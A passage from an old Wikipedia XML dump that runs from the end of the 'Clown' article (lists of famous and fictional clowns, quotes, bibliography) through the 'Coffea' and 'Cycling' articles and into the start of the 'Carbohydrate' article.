* [[Andy Kaufman]] American comic and one of the most famous practitioners of ''anti-humor''
* [[George Carl]] - Longtime star of the Crazy Horse Saloon in Paris
* [[Bill Irwin]] - Tony award winning clown known for his new [[vaudeville]]-style performances.
* [[Avner Eisenberg]],  a.k.a. Avner the Eccentric a &quot;Broadway&quot; clown.
* [[Slava Polunin]] - Russian-born clown and creator of &quot;Slava's Snowshow,&quot; a theatrical experience currently running at Union Square Theater in New York, New York.
* [[Blue Man Group]] - Trio of silent characters that perform covered in blue paint.
* [[Dario Fo]] - Capo Comicio - creator of &quot;Mistero Buffo&quot; &amp; &quot;Accidental Death of an Anarchist&quot; winner of 1997 Nobel prize for literature, takes Arlecchino as base for his stage persona, political activist.

== Famous Rodeo Clowns ==

* [[Quail Dobbs]], rodeo clown
* [[Johnny Tatum]], rodeo clown
* [[Slim Pickens]], rodeo clown and actor in film and television

== Fictional Clowns ==
* [[Bozo the Clown]], a franchised clown played by many local [[television]] performers and on [[cartoon]]s, based on the character created in 1946 by [[Alan W. Livingston]] for [[Capitol Records]]' record-reader series.
* [[Clarabell]] the clown was a regular character from the ''[[Howdy Doody]]'' television program, originally played by [[Bob Keeshan]] of ''[[Captain Kangaroo]]'' fame.
* [[Ronald McDonald]], [[McDonald's]] [[fast-food restaurant]] chain's advertising clown character, performed by various performers, all of whom were trained to portray the character in an identical manner.  Prior to this standardization of the character, Ronald McDonald was played by several performers.  In the first television ad featuring Ronald McDonald, the clown was portrayed by [[Willard Scott]] in Washington, D.C.
* [[Mr. Noodle]], character created by [[Bill Irwin]] for the [[Elmo's World]] segment of [[Sesame Street]].
* [[Loonette]], character played by Alyson Court on the [[The Big Comfy Couch]]
* [[Jojo]], main character on the [[Disney Channel]]'s [[Jojo's Circus]]
*[[Krusty the Clown]] the television clown from the animated television series ''[[The Simpsons]]''.
* [[J. P. Patches]], seattle children's television clown.
* Rusty Nails, Pacific Northwest Children's television clown, and model (in part) for Matt Groening's &quot;Krusty&quot; character on the television program &quot;The Simpsons&quot;
* Jack, advertising icon for the [[fast food]] company, [[Jack in the Box]].
* Binky the Clown,  a character from [[Garfield]] comics.
* [[Buttons (clown)]], a central character from the [[1952]] movie ''[[The Greatest Show on Earth]]'', played by [[Jimmy Stewart]].
*''[[Pagliacci|I Pagliacci]]'', (''The Clowns'') a tragic [[opera]] by  [[Ruggiero Leoncavallo]] prominently features [[Arlecchino]] as a character.  This opera was inspired by a true story.
* [[Yorick]] was a court jester who featured as the subject of a lengthy soliloquy in [[William Shakespeare|Shakespeare's]] ''[[Hamlet]]''.
* [[Chuckles the Clown]] was a ''[[Mary Tyler Moore Show]]'' background character who was trampled to death in one of the best-known episodes.
* [[Calvero]] was a famous clown character played by [[Charlie Chaplin]] in the film [[Limelight (film)]].
* [[Koko the Clown]] from [[Max Fleischer]]'s ''[[Out of the Inkwell]]'' series of [[animated cartoon]]s.

== Negative Portrayals of Clowns ==
* [[Joker (comics)|The Joker]] is a supervillain often called the &quot;Clown Prince of Crime&quot; from [[DC Comics]].
* [[Buggy the Clown]] is a fictional character &amp;  antagonist of the [[manga]] and [[anime]] [[One Piece]]. His appearance is best described as a mix between a blue-haired clown and a stereotypical pirate. He is extreamly sensitive about his real nose (which actually looks like a false clown nose) and anyone who says any thing that he thinks sounds like an insult to his nose, (even if the statement has absolutly nothing to do with his nose) will cause him to get extremely violent. (if you watch the episodes in japanese you will see the words are similer to &quot;big&quot; &quot;red&quot; &amp; &quot;nose&quot;)
* [[Doink the Clown]], a [[gimmick (professional wrestling)|gimmick]] used by several wrestlers in the [[1990s]].  Doink began as a [[heel (professional wrestling)|heel]] wrestler in the [[evil clown]] [[archetype]], but later Doinks portrayed the character as a [[babyface (professional wrestling)|babyface]] who loved to entertain the children in the crowd.
*[[Homey the Clown]], a character from the ''[[In Living Color]]'' television program,  whose famous [[catch phrase]] was &quot;Homey don't play dat&quot;, played by [[Damon Wayans]].
* [[Captain Spaulding]], from the horror films [[House of 1000 Corpses]] and [[The Devil's Rejects]]. 
* [[Frenchy the Clown]] of the national lampoon comic &quot;Evil clown comics&quot; series.
* [[Jack Point]], from the [[Judge Dredd Megazine]]'s [[The Simping Detective]] series. Undercover Judge who dresses like a clown in order to appear crazy enough to fit in. Also conceals several weapons within clown gear.
* [[Obnoxio the Clown]] was the mascot of [[Crazy (magazine)|Crazy Magazine]].
*[[Shakes the Clown]] the title character of the movie of the same name.  ''Shakes the Clown'' was called ''&quot;the [[Citizen Kane]] of [[alcoholism|alcoholic]] clown movies&quot;'' by the ''New York Times''.
* [[It (monster)|Pennywise the Clown]], a character from [[Stephen King]]'s ''It''.
*[[Violator (comics)|Violator]], a villain from the comic series [[Spawn (comics)|Spawn]], takes the 'human' form of a clown.
*[[Yucko the Clown]], from the [[Howard Stern]] radio show and [[Stankervision]]

== Quotes ==

&quot;Clowns are the pegs on which circuses hang.&quot; - P.T. Barnum

&quot;A clown is like asprin, only he works twice as fast.&quot; - Groucho Marx

== Bibliography ==

Poor Clown by Charlie Rivel

Behind My Greasepaint by Coco

Bert Williams - A Biography of the Pioneer Black Comedian by Eric Ledell Smith

The Book Of Clown by George Speaght

Bring On The Clowns by Beryl Hugil

Clown, My Life In Tatters and Smiles by Emmett Kelly and F. Beverly Kelly

The Clown In Times (Volumes 1-6) by Bruce Johnson

Clowns by Douglas Newton

Clowns by John Towsen

Clowns Of The Hope - Tradition Keepers and Delight Makers by Barton Wright

Felix Adler by Anne Aull Bowber

The Fool and His Scepter by William Willeford

Fools and Jesters At The English Court by John Southworth

Greasepaint Matadors - The Unsung Heroes of Rodeo by Jeanne Joy Hatnagle-Taylor

Grimaldi - King of Clowns by Richard Findlater

Grock - King of Clowns by Grock

Here Come The Clowns by Lowell Swortzell

Jest In Time: A Clown Chronology by Bruce Johnson

Life's A Lark by Grock

A Ring, A Horse And A Clown by John H. McConnell

Russian Clown by Oleg Popov

The Tramp Tradition by Bruce Johnson

Hammond, J. Woven Gods: Female Clowns and Power in Rotuma. (book review) [http://www.findarticles.com/p/articles/mi_hb3030/is_199703/ai_n7673867]

Handelman, D. MODELS AND MIRRORS: Towards an Anthropology of Public Events [http://www.berghahnbooks.com/title.php?rowtag=HandelmanModels]

Little, K. Clown Performance in the European One-Ring Circus. Culture, 1981. 2(1):61-72.[http://www.publicanthropology.org/Archive/AnthCACult1981.htm

Rudlin, J. Commedia Dell'Arte; An Actors Handbook[http://www.amazon.com/gp/product/0415047706/103-1596974-4168650?v=glance&amp;n=283155]

==External links==

* [http://www.jeffraz.com/conservatory/ The Clown Conservatory at the San Francisco Center for Circus Arts]
* [http://www.ichof.org/ The International Clown Hall of Fame]
* [http://www.clown-ministry.com/ Clown Ministry]
* [http://www.clownresourcedirectory.com/ Clown Resource Directory]
* [http://www.clown-shoes.com/ Clown Shoes Information]
* [http://theodorachildrenstru.smartchange.org/ Clown Doctors]
* [http://snpp.com/other/papers/eac.paper.html Homer Simpson:  Classic Clown]

[[Category:Clowning]]
[[Category:Circus skills]]
[[Category:Entertainment occupations]]

[[cs:Klaun]]
[[de:Clown]]
[[es:Payaso]]
[[eo:Klaŭno]]
[[fr:Clown]]
[[id:Badut]]
[[nl:Clown]]
[[ja:道化師]]
[[pt:Palhaço]]
[[ru:Клоун]]
[[sv:Clown]]</text>
    </revision>
  </page>
  <page>
    <title>Coffea</title>
    <id>5930</id>
    <revision>
      <id>40868411</id>
      <timestamp>2006-02-23T15:21:01Z</timestamp>
      <contributor>
        <username>Curps</username>
        <id>44727</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/168.184.220.4|168.184.220.4]] ([[User talk:168.184.220.4|talk]]) to last version by 68.148.198.0</comment>
      <text xml:space="preserve">:''This article discusses the coffee plant; for information on the beverage, see [[coffee]].''
{{Taxobox
| color = lightgreen
| name = ''Coffea''
| image = Coffee_Tree.JPG
| image_width = 250px
| image_caption = ''[[Coffea arabica]]'' trees in [[Brazil]]
| regnum = [[Plant]]ae
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Magnoliopsida]]
| ordo = [[Gentianales]]
| familia = [[Rubiaceae]]
| genus = '''''Coffea'''''
| genus_authority = [[Carolus Linnaeus|L.]]
| subdivision_ranks = Species
| subdivision = 
''[[Coffea arabica]]'' - Arabica Coffee&lt;br/&gt;
''[[Coffea benghalensis]]'' - Bengal coffee&lt;br/&gt;
''[[Coffea canephora (robusta)|Coffea canephora]]'' - Robusta coffee&lt;br/&gt;
''[[Coffea congensis]]'' - Congo coffee&lt;br/&gt;
''[[Coffea excelsa]]'' - Liberian coffee&lt;br/&gt;
''[[Coffea gallienii]]'' &lt;br/&gt;
''[[Coffea bonnieri]]'' &lt;br/&gt;
''[[Coffea mogeneti]]'' &lt;br/&gt;
''[[Coffea liberica]]'' - Liberian coffee&lt;br/&gt;
''[[Coffea stenophylla]]'' - Sierra Leonian coffee
}}

'''''Coffea''''' ('''coffee''') is a genus of ten species of [[flowering plant]]s in the family [[Rubiaceae]]. They are [[shrub]]s or small [[tree]]s, native to subtropical [[Africa]] and southern [[Asia]].  Seeds of this plant are the source of a [[stimulant|stimulating]] [[beverage]] called [[coffee]]. The seeds are called &quot;beans&quot; in the trade. Coffee beans are widely cultivated in [[tropical]] countries in plantations for both local consumption and export to [[temperate]] countries. Coffee bean ranks as one of the world's major [[commodity]] crops and is the major export product of some countries.  In fact, coffee ranks third only to cocoa and oil in terms of legally-traded products worldwide.

== Botany ==
[[Image:Detail of Coffea canephora branch and leaves.jpg|thumbnail|200px|left|Robusta Coffee]]
When grown in the [[tropics]] coffee is a vigorous bush or small tree easily grown to a height of 3&amp;ndash;3.5 m (10&amp;ndash;12 feet).  It is capable of withstanding severe pruning.  It cannot be grown where there is a winter frost. Bushes grow best at high elevations. To produce a  maximum yield of coffee berries (800-1400 kg per [[hectare]]), the plants need substantial amounts of water and fertilizer.

There are several species of ''Coffea'' that may be grown for the beans, but ''Coffea arabica'' is considered to have the best quality. The other species (especially ''Coffea canephora (robusta)'') are grown on land unsuitable for ''[[Coffea arabica]]''. The tree produces red or purple fruits ([[drupe]]s, or &quot;coffee berries&quot;), which contain two seeds (the &quot;coffee beans&quot;, although not true [[beans]]). In about 5-10% of any crop of coffee cherries, the cherry will contain only a single bean, rather than the two usually found.  This is called a '[[peaberry]]' and contains a distinctly different flavor profile to the normal crop, with a higher concentration of the flavors, especially acidity, present due to the smaller sized bean.  As such, it is usually removed from the yield and either sold separately (such as in New Guinea Peaberry), or discarded.

The coffee tree will grow fruits after 3&amp;ndash;5 years, for about 50&amp;ndash;60 years (although up to 100 years is possible). The blossom of the coffee tree is similar to [[jasmine]] in color and smell. The fruit takes about nine months to ripen. Worldwide, an estimate of 15 billion coffee trees are growing on 100,000 km&amp;sup2; of land.

Coffee is used as a food plant by the [[larva]]e of some [[Lepidoptera]] species including [[Turnip Moth]] and some members of the genus ''[[Endoclita]]'' including ''E. damor'' and ''E. malabaricus''.

== Processing==
[[Image:Espresso-roasted coffee beans.jpg|thumb|left|Fresh, dark-roasted coffee beans (approximately 11 mm &amp;times; 8 mm &amp;times; 5 mm)]]
{{see details|Processing of coffee}}
After picking, the coffee beans are pulped (usually using a mechanical [[pulper]]) to remove the bulk of the soft flesh, and then the beans are [[ferment]]ed (by one of several means most often wet fermentation in water for 10 to 36 hours), then washed (to remove the last of the sticky mucilage not removed by fermentation) and dried (usually in the sun). This process is time-consuming, expensive and, for most growers, labour-intensive. Coffee at this stage is known as '''milled beans'''.

Once the raw coffee beans arrive in their destination country, they are roasted at around 200°C. This darkens their color and alters the internal chemistry of the beans and therefore their flavor and aroma. An important aspect to this is the caramelization of the fruit sugars. Blending can occur before or after roasting and is often performed to ensure a consistent flavor.

===Problems of maintaining quality during bean production===
[[Image:Coffee Immature.jpg|thumb|right|Coffee ([[Coffea arabica]]) branch with immature fruit - Brazil]]

Achieving consistently excellent milled beans is not easy. Problems include:
* Pests on the bushes (e.g., in [[Hawaii]], [[scale insect|scale insects]] and [[coconut mealy bugs]])
* Poor pruning regimes (e.g., too many verticals that allow the bush to attempt too much and so produce inferior cherries)
* Poor fertiliser regimes (e.g., too little [[iron]] or insufficient nutriment for what are demanding plants)
* Bad picking (e.g., picking all the berries on a branch rather than those that are bright red, or picking the berries very late)
* Bad [[fermentation]] that produces unpleasant taints in the flavor
* Dilution of superior tasting beans with cheaper beans

The coffee bushes fruit aggressively when conditions permit, and the berries will develop at the expense of the rest of the bush. This consumes sugars in the leaves and can produce die-back (death of leaves and branches). Die-back can be severe and can damage not just the current year's production but the next year's production, which is borne on growth during the current year, leading into a two-year cycle of growth and production.

Commercial operators come under a variety of pressures to cut costs and maximise yield.  
Arguably the best flavours will be produced when the coffee is grown in [[organic farming|organic conditions]]. Some people who grow organically do so primarily to obtain the premium prices organic beans command, an alternative strategy to increase profits.

===The economics of growing coffee===
[[Image:Handmaking coffee in Indonesia.jpg|thumbnail|250px|left|Coffee-making in [[Indonesia]].]]

It is very questionable whether small growers can generate a high return on capital growing coffee if they have less than 1.2 ha (3 acres or 12,000 m&lt;sup&gt;2&lt;/sup&gt;) and if they are based in the United States. The retail price of the beans varies between about 1 USD/pound for ripe berries to 9 USD/pound for extra fancy Kona milled beans, and there are many costs including fertiliser, irrigation, labour (e.g. picking and pruning) and land value. Integrated operations that capture much or all of the available revenue (by controlling the whole process from growing to retail) may generate higher returns.

It is estimated that 10 million people are working on plantations in the source lands of coffee. A single worker can harvest 50-100 kg of fruits per day, which results in 10-20 kg of raw coffee. Crops from [[Brazil]](30%) and [[Colombia]](10%) comprise 40% of the worldwide coffee production. As of 1998, the world's coffee production equals about 100 million sacks of coffee.

Many farmers receive a low price for their coffee because of a global market slump. This has led to coffee being available as a '[[fairtrade labelling|fair trade]]' labelled item in many countries.

===Hand picked coffee===
[[Image:Eth1 coffeelady.jpg|right|thumb|150px|Coffee farmer in [[Ethiopia]].]]
The highest quality coffee is generally hand picked.  Normally, coffee growers harvest their coffee with portable vacuum packs, which the pickers wear on their backs and brush over the branches of the coffee bushes.  Although it is much more efficient and quick to harvest the coffee with the vacuum packs, coffee beans do not become ripe at the same time, even if they are on the same tree, and thus many unripe beans are sucked away by the vacuum packs.  Also, coffee pickers are sure to pick beans only of the highest quality.  As a general rule, hand picked coffee is used for drip machines, while vacuum picked coffee is used to make instant coffee and decaffeinated coffee.

==History==
&lt;!-- Unsourced image removed: [[Image:Coffee cup.JPG|200px|thumb|left|A coffee [[cup]]]] --&gt;

Coffee probably originated in the [[Kingdom of Kaffa]] (now part of the [[Southern Nations, Nationalities, and Peoples Region]] of [[Ethiopia]]), though there is controversy about its origins, with [[Yemen]] also suggested as an area of origin. One apocryphal tale claims that an Ethiopian goat-herder noticed his goats prancing about energetically, and found they were eating coffee berries, and tried some himself.

The crop first became popular in [[Arabia]] around the [[13th century]], and [[Islam]]'s prohibition against [[alcoholic beverage]]s probably enhanced its popularity. Before 1600, coffee production was a jealously guarded secret, and fertile beans were not found outside [[Arabia]]. Many consider the German botanist [[Leonhard Rauwolf]] to have first described coffee in a book published in [[1583]]. Sometime after 1600, coffee trees were grown in [[India]], possibly due to smuggling of fertile beans. Around [[1650]], coffee importation into [[England]] began and coffeehouses opened in [[Oxford]] and [[London]]. Coffee planting began in the English colonies, but a disease wiped out the plantations, leading the English to re-plant with [[tea]] instead.

By the [[18th century]], the beverage had become popular in Europe, and European colonists had introduced coffee to tropical countries worldwide as a plantation crop to supply domestic demand. At the end of the [[19th century]], plantations in [[Brazil]] alone were producing over 80% of the world's coffee crop. At the same time, European demand for coffee was so strong that when genuine coffee beans were scarce, people developed similar-tasting substitutes from various roasted vegetable substances, such as [[chicory]] root, [[dandelion]] root, [[acorn]]s, or [[fig]]s. For example, the British used [[acorn]]s as a coffee substitute during [[World War II]] when German [[submarine|U-boats]] blockaded Britain.

The major coffee-producing countries are [[Puerto Rico]] (U.S.), [[Brazil]], [[Colombia]], [[Vietnam]], [[Indonesia]], [[Mexico]], and [[India]], but coffee is grown in over 70 countries (2003 USDA and ICO data). Major importers are [[United States]], [[Germany]], [[Japan]], [[France]], [[Italy]], and [[Spain]] (2002 USDA data), and per-capita consumers of coffee are [[Finland]] (11 kg), [[Denmark]] (9.7 kg), [[Norway]] (9.5 kg), [[Sweden]] (8.6 kg), and [[Austria]] (7.8 kg). The [[United States]], while the largest importing country, only ranks 16th (4.1 kg) in per-capita consumption (2001 USDA data).

==See also==
*[[Coffee (drink)]]
**[[Caffe sospeso]]
**[[Espresso]]
*[[Kopi Luwak]]
*[[List of coffee companies]]

== External links ==
{{commons|Coffea}}
*[http://www.justaboutcoffee.com/index.php?file=coffeetree Just About Coffee - General information webpage about the coffee tree subject.] 
* [http://www.hort.purdue.edu/newcrop/duke_energy/Coffea_arabica.html ''Coffea arabica'' by James A. Duke - detailed information about this species.]
* [http://www.ctahr.hawaii.edu/ctahr2001/CTAHRInAction/May_02/coffee_nutrition_needs.html Excellent article about the nutritional needs of coffee plants (written by an expert in Hawaii).]
* [http://www2.ctahr.hawaii.edu/oc/freepubs/spreads/ University of Hawaii spreadsheets dealing with costs of production including those of coffee growing in Hawaii.]
* [http://agrss.sherman.hawaii.edu/bookshelf/coffee/coffee.htm Farmers Bookshelf guide to coffee growing and processing in Hawaii.]
* [http://www.coffeeforums.com Coffee Forums (offers open discussion about coffee, the beans, machines and effects).]
* [http://www.HowtoBrewCoffee.com How To Brew Coffee (consists of coffee information and tutorials on various types of brewing including Turkish and Vietnamese).]
* [http://www.fas.usda.gov/htp/tropical/coffee.html United States Department of Agriculture - Foreign Agriculture Service (a valuable source of coffee (and other commodities) production and consumption data).]
* [http://www.toomuchcoffee.com/ TooMuchCoffee: The European Coffee and Espresso Resource (offers non-commercial articles and discussion about coffee, coffee preparations and homeroasting; interesting documentary (15 MB) about coffee planters in Nicaragua available for free download).]

* [http://www.bartleby.com/61/roots/S238.html The etymology of the word coffee]

&lt;!-- [[en:Coffea]] --&gt;

[[Category:Coffee]]
[[Category:Granular materials]]
[[Category:Herbal and fungal stimulants]]
[[Category:Rubiaceae]]

[[ast:Café]]
[[bg:Кафе]]
[[zh-min-nan:Ka-pi]]
[[bs:Kahva]]
[[ca:Cafè]]
[[cs:Kávovník]]
[[da:Kaffe-slægten]]
[[de:Kaffee (Pflanze)]]
[[et:Kohv]]
[[es:Coffea]]
[[eo:Kafarbo]]
[[fr:Coffea]]
[[ko:커피나무]]
[[hr:Kava]]
[[id:Tanaman kopi]]
[[it:Caffè]]
[[he:קפה]]
[[ms:Kopi]]
[[nl:Koffie (plant)]]
[[ja:コーヒーノキ]]
[[no:Kaffeplante]]
[[os:Къофи]]
[[pl:Kawowiec]]
[[pt:Cafeeiro]]
[[ru:Кофейное дерево]]
[[simple:Coffee]]
[[sk:Káva]]
[[sl:Kavovec]]
[[sr:Кафа]]
[[fi:Kahvipensas]]
[[sv:Kaffebusken]]
[[th:กาแฟ]]
[[vi:Cây cà phê]]
[[tr:Kahve]]
[[zh:咖啡树]]</text>
    </revision>
  </page>
  <page>
    <title>Cycling</title>
    <id>5931</id>
    <revision>
      <id>42111808</id>
      <timestamp>2006-03-03T22:20:17Z</timestamp>
      <contributor>
        <username>Christopherlin</username>
        <id>51957</id>
      </contributor>
      <comment>rv extlink; please explain why it's important</comment>
      <text xml:space="preserve">'''Cycling''' is a [[recreation]], a [[sport]] and a means of [[transport]] across land. It involves riding [[bicycle]]s, [[unicycle]]s, [[tricycle]]s and other [[human powered vehicle]]s (HPVs). As a sport it is governed internationally by the [[Union Cycliste Internationale]] in [[Switzerland]] (for [[upright bicycle]]s) and by the [[International Human Powered Vehicle Association]] (for other HPVs). Cycling for transport and touring is promoted on a European level by the [[European Cyclists' Federation]], and regular conferences are held under the auspices of [[Velo City]], whereas global conferences are coordinated by [http://www.velomondial.org/ Velo Mondial].

==Getting started==
[[Image:Kusuma bike large.jpg|thumb|300px|This [[racing bicycle]] is built using lightweight, shaped aluminium tubing and [[graphite-reinforced plastic|carbon fiber]] stays and forks. It has a drop handlebar and narrow tyres and wheels for efficiency and aerodynamics.]]
[[Image:utility bicycle.jpg|thumb|300px|Dutch [[utility bicycle]] featuring rear internal hub brake, chaincase and mudguards, kickstand for parking, permanently attached dynamo-powered lamps and touring handlebars.]]
The two most popular types of bicle are mountain bicycles and [[road bicycle]]s.  Both range in price from US$50-1000 or more depending mostly on weight and quality. In the case of [[road bicycle]]s, the lightest bikes weigh around 7 kg (15 lb) and are the most expensive.  For most, a good starting road bike would be in the range of 9-10 kg (20-22 lb) (stripped down with no accessories) and would cost just under US$1,000 in the United States; most likely it will have been manufactured in [[East Asia]], although its actual brand name may be European or American. Basic serviceable second-hand bicycles can be bought for US$50-150 or more from classified adverts and through online [[auction]]s.

Being sized for a bike and taking it for a test ride are both recommended before making a purchase.  Most road bikes include [[clipless pedal]]s in which special shoes attach to special pedals, which allows for the transfer of power to the bike throughout the entire pedaling motion.

The [[bicycle#Drivetrain|drivetrain]] components of the bike should also be considered.  A middle grade [[derailleur]] is most likely sufficient for a beginner.  Also, unless a lot of serious climbing will be done, a double-[[crankset|crank]] (two chainrings) front [[bicycle gearing|gear system]] will suffice in place of a triple-crank (three chainrings) system.  

When buying a bicycle, set aside some money for accessories.  Accessories that some consider helpful include a [[bicycle lock|lock]], mudguards/fenders, lights, luggage racks and pannier bags, [[bicycle pump|pump]], [[cycling shorts]] (with padding), clips to hold wide trousers/slacks/jeans, [[cycling shoe]]s, spare inner tubes, [[carbon dioxide|CO2 cartridge]]s as a possible replacement for a tyre pump, [[water bottle]] and water [[bottle cage]], a puncture repair kit and [[tyre levers]].

Winter cycling also requires [[bicycle lighting|lights]], [[cycling gloves]], a waterproof jacket and/or overtrousers and possibly waterproof overshoes.

Items that can be purchased later or omitted include full sized tire pump, multi-tool, [[cyclocomputer|bicycle computer]], [[studded tires]] and [[degreaser]]. A [[bicycle helmet]] is obligatory in some jurisdictions, especially for children.

Cycling is a reasonably low maintenance transport form/hobby/sport and the beginner can learn much from online forums and bike shop personnel. Many bike shops even hold complimentary maintenance classes. Inspection and maintenance of brakes is important.

==Organized rides and races==
Many cycling clubs hold organized rides and varying races that bicyclists of all types compete in.  The typical organized race/ride starts with a large group of riders.  This will thin out over the course of the ride.  Many riders choose to ride together in groups of the same skill level to take advantage of [[drafting (racing)|drafting]].

Most organized rides include registration requirements and will provide information either through the mail or online concerning start times and other requirements.  Rides usually consist of 25, 50 and 100 mile routes, each with a certain number of rest stops that usually include refreshments, first aid and maintenance tools.

==Bicycling and health==

Bicycles are commonly used by people seeking to improve their fitness and cardiovascular health.  It has been estimated that the life-years gained by regular bicycle users outweigh any associated risks of death through injury by a factor of 20:1 &lt;!-- Source is Mayer Hillman Policy Studies institute will get proper ref later - Google Mayer Hillman you want more --&gt;.  In this regard, bicycles are especially helpful for those with arthritis of the lower limbs and who are unable to pursue sports such as running that involve more pounding and resultant trauma to joints.

Cyclists do however place themselves at risk for both acute and chronic injuries. In addition to head and extremity injuries from falls and collisions, cyclists may incur nerve damage at points of weight bearing. The [[ulnar nerve]] in the palm is one such site.  Heavy and/or prolonged bicycling over very long distances may eventually result in bicycle seat neuropathy &lt;sup&gt;[[#Notes|1]]&lt;/sup&gt; and in extreme cases, [[Pudendal Nerve Entrapment]] and diminished sexual function. The pudendal nerve leads to the testes.

==Notes==
*1 [http://www.emedicine.com/sports/topic12-Followup.htm &quot;Bicycle Seat Neuropathy, follow up&quot;], Feb.8, 2006

==See also==
{{portal}}
'''Utility cycling and slow recreation'''
* [[Bicycle transportation engineering]]
* [[Bicycle touring]]
* [[List of cycleways]]
* [[Segregated cycle facilities]]
* [[Utility cycling]]

'''General'''
* [[Bicycle]]
* [[Bicycle culture]]
* [[Cyclist]]
* [[Challenge riding]]
* [[Road cycling]]
* [[Vehicular cycling]]
* [[Clothing-optional bike rides]]

'''Sports-related cycling and fast-paced recreation'''
* [[Bike trials riding]]
* [[Bicycle racing]]
* [[BMX racing]]
* [[Bike derby]]
* [[Cycle speedway]]
* [[Cyclo-cross]]
* [[Folding bicycle]]
* [[Mountain biking]]
* [[Offroad cycling]]
* [[Road bicycle racing]]
* [[Spinning (cycling)|Spin-class]]
* [[Track cycling]]

'''Other'''
* [[Aerobic exercise]]
* [[Heart rate monitor]]

==External links==
*[http://www.cyclingnews.com/ Cycling News]
*[http://www.roadcycling.com/ Road Cycling]
*[http://www.dailypeloton.com/ Daily Peleton]
*Rec.Bicycles Frequently Asked Questions Parts: [http://www.faqs.org/faqs/bicycles-faq/part1/ 1],  [http://www.faqs.org/faqs/bicycles-faq/part2/ 2], [http://www.faqs.org/faqs/bicycles-faq/part3/ 3], [http://www.faqs.org/faqs/bicycles-faq/part4/ 4], [http://www.faqs.org/faqs/bicycles-faq/part5/ 5]
*[http://www.icebike.org/ Icebike: Effects of ice and snow on cycling]
*[http://www.active.com/cycling/ Cycling at Active.com]
*[http://www.velonews.com Velo News]
*[http://www.kenkifer.com/bikepages The late cycling enthusiast Ken Kifer's bike pages]
*[http://www.sheldonbrown.com/articles.html Sheldon Brown's bike articles]
*[http://www.ebykr.com/ EBykr, bicycle artistry]
*[http://www.southcoastbikes.co.uk/Articles.asp?article=NO_BSO Describing the pitfalls of cheap new bikes]

[[Category:cycling| ]]
[[Category:Outdoor recreation]]
[[bg:&amp;#1050;&amp;#1086;&amp;#1083;&amp;#1086;&amp;#1077;&amp;#1079;&amp;#1076;&amp;#1077;&amp;#1085;&amp;#1077;]]
[[ca:Ciclisme]]
[[cs:Cyklistika]]
[[da:Cykling]]
[[de:Radsport]]
[[et:Jalgrattasport]]
[[es:Ciclismo]]
[[eo:Biciklado]]
[[fi:Pyöräily]]
[[fr:Cyclisme]]
[[id:Bersepeda]]
[[io:Biciklado]]
[[it:Ciclismo]]
[[ja:&amp;#12469;&amp;#12452;&amp;#12463;&amp;#12522;&amp;#12531;&amp;#12464;]]
[[nl:Wielersport]]
[[nb:sykling]]
[[nn:sykling]]
[[pl:Kolarstwo]]
[[pt:Ciclismo]]
[[sl:Kolesarstvo]]</text>
    </revision>
  </page>
  <page>
    <title>Carbohydrate</title>
    <id>5932</id>
    <revision>
      <id>41946784</id>
      <timestamp>2006-03-02T20:34:28Z</timestamp>
      <contributor>
        <username>Vanka5</username>
        <id>428424</id>
      </contributor>
      <minor />
      <comment>+ bg</comment>
      <text xml:space="preserve">'''Carbohydrates''' are [[chemical compound]]s that contain [[oxygen]], [[hydrogen]], and [[carbon]] [[atom]]s. They consist of [[monosaccharide]] [[sugar]]s of varying chain lengths and that have the general [[chemical formula]] C&lt;sub&gt;n&lt;/sub&gt;(H&lt;sub&gt;2&lt;/sub&gt;O)&lt;sub&gt;n&lt;/sub&gt; or are [[derivative (chemistry)|derivative]]s of such. 

Certain carbohydrates are an important storage and transport form of [[energy]] in most [[organism]]s, including [[plant]]s and [[animal]]s. Carbohydrates are classified by their number of sugar units: [[monosaccharide|monosaccharides]] (such as [[glucose]] and [[fructose]]), [[disaccharide|disaccharides]] (such as [[sucrose]] and [[lactose]]), [[oligosaccharide|oligosaccharides]], and [[polysaccharide|polysaccharides]] (such as [[starch]], [[glycogen]], and [[cellulose]]).

== Structure ==
[[Image:D-glucose.png|88px|left|thumb|[[Glucose]] as a straight-chain carbohydrate ([[Fischer projection]])]]
[[Image:D-fructose.png|88px|right|thumb|[[Fructose]] ([[Fischer projection]])]]
Pure carbohydrates contain [[carbon]], [[hydrogen]], and [[oxygen]] [[atom]]s, in a 1:2:1 [[mole (unit)|molar]] [[ratio]], giving the general [[formula]] C&lt;sub&gt;''n''&lt;/sub&gt;(H&lt;sub&gt;''2''&lt;/sub&gt;O)&lt;sub&gt;''n''&lt;/sub&gt;.  (This applies only to monosaccharides, see below, although all carbohydrates have the more general formula C&lt;sub&gt;''n''&lt;/sub&gt;(H&lt;sub&gt;''2''&lt;/sub&gt;O)&lt;sub&gt;''m''&lt;/sub&gt;.) However, many important &quot;carbohydrates&quot; deviate from this, such as [[deoxyribose]] and [[glycerol]], although they are not, in the strict sense, carbohydrates.  Sometimes compounds containing other elements are also counted as carbohydrates (e.g. [[chitin]], which contains [[nitrogen]]).

The simplest carbohydrates are [[monosaccharide]]s, which are small straight-chain [[aldehyde]]s and [[ketone]]s with many [[hydroxyl]] groups added, usually one on each carbon except the functional group.  Other carbohydrates are composed of monosaccharide units and break down under [[hydrolysis]].  These may be classified as [[disaccharide]]s, [[oligosaccharide]]s, or [[polysaccharide]]s, depending on whether they have two, several, or many monosaccharide units.

==Monosaccharides==
[[Monosaccharide]]s may be divided into [[aldose]]s, which have an [[aldehyde]] group on the first carbon atom, and [[ketose]]s, which typically have a ketone group on the second.  They may also be divided into [[triose]]s, [[tetrose]]s, [[pentose]]s, [[hexose]]s, and so forth, depending on how many carbon atoms they contain.  For instance, [[glucose]] is an [[aldohexose]], [[fructose]] a [[ketohexose]], and [[ribose]] an [[aldopentose]].

Further, each carbon atom that supports a hydroxyl group (except for the first and last) is [[Optical activity|optically active]], allowing a number of different carbohydrates with the same basic structure.  For instance, [[galactose]] is an aldohexose but has different properties from glucose because the atoms are arranged differently.

[[Image:Ribose.png|160px|left|thumb|A heterocyclic form of [[ribose]] ([[Haworth projection]]) ]]

The straight-chain structure described here is only one of the forms a monosaccharide may take.  The aldehyde or ketone group may react with a hydroxyl group on a different carbon atom to form a [[hemiacetal]] or [[hemiketal]], in which case there is an oxygen bridge between the two carbon atoms, forming a heterocyclic ring.  Rings with five and six atoms are called furanose and pyranose forms and exist in equilibrium with the straight-chain form.

